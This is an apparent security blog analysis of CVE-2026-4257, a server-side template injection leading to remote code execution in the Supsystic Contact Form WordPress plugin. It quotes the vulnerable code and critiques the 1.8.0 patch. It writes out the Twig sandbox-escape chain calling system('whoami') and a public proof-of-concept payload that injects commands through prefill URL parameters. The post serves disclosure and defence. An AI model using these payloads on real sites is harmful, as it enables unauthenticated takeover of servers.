//nefariousplan

CVE-2026-4257: Supsystic Sanitizes Prefill For HTML, Renders It Through Twig_Loader_String

pattern

cve

proof of concept

CVE-2026-4257 is the latest delivery of {{_self.env.registerUndefinedFilterCallback(...)}}, the Twig 1.x sandbox-escape chain that has been on the OWASP SSTI cheat sheet since 2015 and on every CTF wiki since the year after that. Contact Form by Supsystic, a WordPress plugin with 640,474 installations and a 94% five-star rating, reaches that chain through a query parameter named cfsPreFill.

The plugin's showForm() reads every URL parameter whose name matches a configured form field, passes the value through sanitize_text_field(), and writes the result into the field's default. Six function calls later, generateHtml() concatenates every field value into an HTML string and renders the entire string through Twig_Loader_String. sanitize_text_field() is the WordPress sanitizer named after one sink: HTML attributes. The renderer at the bottom of the call is the other sink.

The 1.8.0 patch is one str_replace. The string loader stays. The sandbox is still not enabled. The bundled Twig is the same Twig 1.16.0 the plugin shipped with from day one, released October 6, 2014.

The prefill path runs sanitize_text_field for an attribute sink

The vulnerable code is fifteen lines of modules/forms/views/forms.php in version 1.7.36. The relevant block is the prefill loop inside showForm():

if(!empty($_GET['cfsPreFill']) && !empty($form['params']['fields'])) {
    foreach($form['params']['fields'] as &$field) {
        $fieldVal = (isset($_GET[$field['name']])
            ? sanitize_text_field($_GET[$field['name']])
            : false);
        $fieldValue = isset($_GET['cfs_'.$field['name']])
            ? sanitize_text_field($_GET['cfs_'.$field['name']])
            : $fieldVal;
        if(isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
            $field['value'] = $fieldValue;
        }
    }
}

cfsPreFill is a UX feature. A site owner who configures a Supsystic contact form for newsletter signup wants to mail a prospect a link like /contact?cfsPreFill=1&first_name=Maria&[email protected] and have the form arrive prepopulated. The loop iterates the configured fields, pulls each one's name from the URL, runs it through sanitize_text_field(), and stores the result as the field's value. The store happens against a reference (&$field) so the mutation persists into the form rendering that follows.

WordPress's sanitize_text_field() is documented in the core developer reference as "Sanitizes a string from user input or from the database. Checks for invalid UTF-8, converts single < characters to entity, strips all tags, removes line breaks, tabs, and extra whitespace, strips octets." The function ships alongside esc_attr, esc_html, esc_url, esc_textarea, and esc_js in a vocabulary explicitly sorted by output context. sanitize_text_field is the one labelled "I am about to write this string into an HTML form input." Every Codex page that recommends it does so in the context of <input value="...">.

It does not strip {. It does not strip }. It does not strip (, ), ., _, or :. It cannot, because all of those characters are valid inside a value="" attribute on a text input. The function did its job. The function's job and the field's downstream destination are different jobs.

The form's HTML is the Twig template

Two hundred lines later, the same $field['value'] lands in generateHtml(), which is where the destination diverges from the function name:

public function generateHtml($form, $params = array()) {
    // ...
    $this->_initTwig();
    // ...
    $form['params']['tpl']['fields'] = $this->generateFields( $form );
    // ...
    return $this->_twig->render(
        '<style type="text/css" id="'. $form['view_html_id']. '_style">'
            . $form['css']
        . '</style>'
        . '<div id="'. $form['view_html_id']. '" class="cfsFormShell">'
            . $form['html']
        . '</div>',
        array('forms' => $form)
    );
}

generateFields() walks the configured fields and, for each one, calls into classes/html.php. The relevant primitive is htmlCfs::input():

return '<input type="'. $params['type']. '" name="'. $name
    . '" value="'. $params['value']. '" '
    . (isset($params['attrs']) ? $params['attrs'] : ''). ' />';

No esc_attr. No htmlspecialchars. The attacker's payload concatenates into the HTML literal as <input ... value="{{7*7}}" />, and that fragment becomes part of $form['html'], which becomes the first argument to Twig_Environment::render(). The first argument is the template source. The template source contains {{7*7}}.

The Twig environment is constructed by _initTwig():

protected function _initTwig() {
    if(!$this->_twig) {
        if(!class_exists('Twig_Autoloader')) {
            require_once(CFS_CLASSES_DIR. 'Twig'. DS. 'Autoloader.php');
        }
        Twig_Autoloader::register();
        $this->_twig = new Twig_Environment(
            new Twig_Loader_String(),
            array('debug' => 0)
        );
        $this->_twig->addFunction(/* adjust_brightness */);
        $this->_twig->addFunction(/* adjust_opacity */);
        $this->_twig->addFunction(/* hex_to_rgba_str */);
    }
}

Twig_Loader_String is the Twig 1.x loader that accepts a template string at render time. The official Twig documentation has carried a warning against it since 2015: "this loader is mainly here for unit testing; if you have to use it for security reasons, do not use it on untrusted input." Plugin code uses it because the form's CSS and HTML are stored as strings in the WordPress options table and the loader's design happens to match that storage shape. No SandboxExtension is registered. strict_variables is off. The environment is fully featured. Three render-helper functions are added by name. Nothing else is.

_self, in Twig 1.x, evaluates to the current Twig_Template instance inside a rendered template. Twig_Template has a protected $env property that holds the environment. Twig_Template::getAttribute(), which is the method Twig calls to resolve obj.prop lookups in templates, is itself a method on Twig_Template, so its isset($object->$item) check runs from inside the class's scope and sees protected properties. _self.env resolves to the Twig_Environment. Twig_Environment::registerUndefinedFilterCallback($callable) and Twig_Environment::getFilter($name) are both public methods on the environment.

{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('whoami')}}

The first expression sets system as the fallback for filter lookups against names the environment doesn't recognize. The second looks up the whoami filter, which doesn't exist, which triggers the fallback, which calls system('whoami'). The chain has had its own page on every CTF SSTI wiki since 2015. The Symfony Twig project published SandboxExtension specifically to gate it.

The PoC's quote workaround is testimony

The literal version of the chain does not survive the trip. The payload enters the URL with 'system' and the command as single-quoted strings, passes sanitize_text_field() intact, and lands inside an HTML attribute value="...". The outer attribute quotes are double; the payload's single quotes are inside. The bigger constraint is that Twig parses the substring as template source and the single quotes have to still be apostrophes at parse time. WAFs that normalize percent-encoded apostrophes, request-body normalizers, and URL routers that re-encode reserved characters can each break the chain in transit.

The PoC author worked around the constraint by reusing the prefill mechanism the SSTI lives in:

payload = (
    "{{_self.env.registerUndefinedFilterCallback("
    "forms.params.fields.1.value)}}"
    "{{_self.env.getFilter(forms.params.fields.2.value)}}"
)

params = {
    "cfsPreFill": "1",
    field_name: payload,        # first targeted field
    "last_name": "system",      # writes into fields[1].value
    "email": command            # writes into fields[2].value
}

last_name and email are two other form fields on every default Supsystic contact form. The prefill loop, the same one that writes the SSTI payload into the targeted field, also writes 'system' and the command into the other two fields' values. The Twig render call passes the entire $form array as forms, so forms.params.fields.1.value evaluates to 'system' from inside the template, and forms.params.fields.2.value evaluates to the attacker's command. The chain operates on those without a single literal-string quote in the URL.

This is not a researcher's reachability probe. The author knew the literal-string version of the chain. The author also knew the indirection trick that avoids the literal strings. Both techniques are eleven years old. The PoC packages them as a single argparse'd Python script with a check_ssti reachability probe, an RCE function, a regex that parses the command output back out of the response HTML, and a help string naming the plugin and version range. That is a recon-grade weaponizer written by someone who has built this shape before.

The patch is one str_replace. Twig 1.16.0 stays.

The 1.8.0 release dated March 26, 2026 patches the prefill block. The change, with the rest of the file's cosmetic PSR-2 reformatting elided:

       foreach ($form['params']['fields'] as &$field) {
         $fieldVal = isset($_GET[$field['name']])
             ? sanitize_text_field($_GET[$field['name']]) : false;
         $fieldValue = isset($_GET['cfs_' . $field['name']])
             ? sanitize_text_field($_GET['cfs_' . $field['name']]) : $fieldVal;
         if (isset($field['value']) && isset($field['name']) && $fieldValue !== false) {
+          // Escape Twig template delimiters to prevent Server-Side Template Injection (SSTI/RCE).
+          // sanitize_text_field() does not strip curly braces, so an attacker can inject
+          // Twig expressions (e.g. {{_self.env.registerUndefinedFilterCallback(...)}})
+          // that get evaluated by Twig_Loader_String at render time.
+          $fieldValue = str_replace(['{', '}'], ['&#123;', '&#125;'], $fieldValue);
           $field['value'] = $fieldValue;
         }
       }

The fix replaces { with &#123; and } with &#125; in prefill values. The comment is a confession written by an author who, by this point, knows the full chain by exact filter-callback name. The fix closes the prefill path. The fix changes nothing else.

What the patch does not touch:

  • _initTwig() still constructs new Twig_Environment(new Twig_Loader_String(), array('debug' => 0)). No SandboxExtension. No security policy. No strict_variables. The renderer is fully featured.
  • classes/Twig/Environment.php still carries const VERSION = '1.16.0' at line 18. Twig 1.16.0 was released October 6, 2014. Twig 2.0 shipped January 11, 2017. Twig 3.0 shipped November 11, 2019. The 1.x branch has been deprecated by the Symfony Twig project for nine years.
  • The form's CSS and HTML, stored as strings in wp_options, still get concatenated with the field values and passed to Twig_Environment::render() as the template source. The string-loader-renders-attribute-concatenated-strings shape is the design. The prefill block is one of several feeders into it.
  • htmlCfs::input() in classes/html.php still emits '<input ... value="'. $params['value']. '" />' with no esc_attr around $params['value']. The next feeder of attacker-controlled text into a form-field value attribute that the prefill brace-escape doesn't cover is the next CVE.

The pattern: an HTML-attribute sanitizer in front of a string-loader template engine

This is content-is-command. The pattern's mechanism, in its current catalog framing, reads "a template engine substitutes variables and also evaluates expressions"; Twig 1.16.0 with Twig_Loader_String and no sandbox is that sentence turned into a constructor call. The closest sibling exhibit on the pattern page is Tandoor Recipes, CVE-2025-23211, where bleach (an HTML sanitizer) ran in front of Jinja2 (a Python template engine) and the rendered fields were stored in a database column compiled on every read. The Tandoor exhibit's frame: "a sanitizer for one grammar running in front of an interpreter for another is not a layered defense. It is two unrelated checks at the same call site."

Supsystic is the same shape pushed through the WordPress sanitization vocabulary. sanitize_text_field is the WordPress equivalent of bleach: a single-grammar normalizer whose name announces the grammar. Twig 1.x is Jinja2's older sibling, descended from the same Django-template lineage. The renderer's job is to read a string and produce another string by following embedded directives. The sanitizer was never in the renderer's loop, never asked about the renderer's grammar, never had a contract with anything but its named sink.

The fix in 1.8.0 is the same shape Tandoor would have taken if Tandoor's maintainers had added replace('{{','&#x7b;{').replace('}}','}&#x7d;') to the bleach pipeline: it makes the sanitizer's output safe for the renderer too, by hand, in one call site, for one input channel. The renderer is still there. The other channels into it are still there. The sandbox extension Twig ships specifically to gate this chain is still not registered.

The charge

Supsystic ships a WordPress plugin with 640,474 installations. The plugin's contact-form rendering pipeline takes the entire form HTML, concatenated with attacker-influenced field values, and passes it as template source to Twig 1.16.0 with the deprecated string loader and no sandbox extension. The plugin has shipped this design since 2016. The 1.7.36 release was vulnerable to unauthenticated remote code execution via a one-parameter URL.

The 1.8.0 patch escapes braces in one of the feeders. The interpreter is still there. The string loader is still there. The Twig version is still the one from 2014. The plugin's sanitization vocabulary is still sanitize_text_field for an HTML-attribute sink in front of a template-source sink, with no escape between them outside of six characters of str_replace in one function.

PoC: shootcannon/CVE-2026-4257.

The 1.8.0 patch escaped the braces. The interpreter the braces were going to reach is from 2014.